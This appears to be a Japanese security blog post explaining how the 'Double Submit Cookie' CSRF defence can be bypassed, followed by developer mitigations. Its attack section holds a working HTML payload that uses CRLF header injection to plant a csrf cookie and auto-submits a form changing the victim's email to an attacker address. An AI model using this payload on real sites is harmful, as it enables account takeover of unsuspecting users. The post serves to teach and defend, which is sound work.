Shikata Ga Nai

Private? There is no such things.

CSRFトークンをCookieに複製する「Double Submit Cookie」方式の危険な落とし穴

Hello there, ('ω')ノ

✅ 脆弱性の概要:Double Submit Cookieとは?

一部のアプリケーションでは、CSRFトークンを次のように扱っています:

「トークンの発行・管理をサーバーでは行わず、クライアント(ブラウザ)側でCookieとリクエストパラメータ両方に同じ値を送らせるだけでOK」

これが「Double Submit Cookie」方式です。


📚 実際のリクエスト構造例

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=abc123; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
  • クッキー:csrf=R8ov2Y...
  • パラメータ:csrf=R8ov2Y...

アプリケーションは「この2つが一致していればリクエストを許可する」という単純な検証しか行いません。


🔓 なぜこの方式は危険なのか?

  • サーバー側で**「このトークンを誰に発行したか」の記録が一切ない**
  • 一致さえしていればトークンの発行者は問われないため、
  • 攻撃者が勝手にトークンを作ってCookieごと被害者に注入できれば、CSRF攻撃は成立してしまう

🎯 攻撃者視点:バイパス手順

✅ 攻撃の流れ

  1. 攻撃者はランダムなトークン(例:csrf=12345xyz)をでっち上げる

  2. 任意のクッキーインジェクション機能(URL内のSet-Cookie等)を利用し、被害者のブラウザに次のようなクッキーを設定:

   csrf=12345xyz
  1. 同じ値を含むCSRF攻撃リクエストを被害者に送信:
<form method="POST" action="https://vulnerable-website.com/email/change">
  <input type="hidden" name="email" value="attacker@evil.com" />
  <input type="hidden" name="csrf" value="12345xyz" />
</form>
<img src="https://vulnerable-website.com/?search=%0d%0aSet-Cookie:%20csrf=12345xyz%3b%20SameSite=None" onerror="document.forms[0].submit()">

🧠 なぜ成立する?

  • サーバー側は「csrfパラメータ」と「Cookieのcsrf」が一致すれば良しと判断するだけ
  • それが誰に発行されたか、どこから来たか、正規に生成されたかを見ていない
  • 攻撃者はその仕様を利用して、自作のトークンを使って攻撃できる

⚠️ 開発者向け:この方式の重大な欠点

問題点 説明
トークンに対して所有者の概念がない 誰のセッションかを紐づけていない
JavaScriptから操作できるCookieを使用している document.cookieで偽造可能なため、セキュリティが弱い
トークンの発行と検証にサーバー側の状態を持たない 検証の正当性が極めて弱い

✅ 防御策:本物のCSRFトークン運用とは?

正しい設計 内容
トークンをサーバーセッションに紐づける session['csrf_token'] = ... として発行・保存
トークンは非公開で一意な値とする ユーザーごと・操作ごとに生成するのが理想
クッキーではなくhiddenフィールドやHTTPヘッダーで送る JSや他ドメインから偽造できない構造にする
クッキーを使う場合でもHttpOnlyかつSecure属性を併用する JSによる操作や傍受を防止

✅ まとめ

Double Submit Cookie方式は一見シンプルですが、以下の前提がなければ安全ではありません:

  • 外部からクッキーを操作できない
  • トークンの一致だけで信用しない
  • サーバー側で誰に発行されたか記録している

これらが守られていない限り、簡単にバイパス可能なCSRF防御に過ぎません。

Best regards, (^^ゞ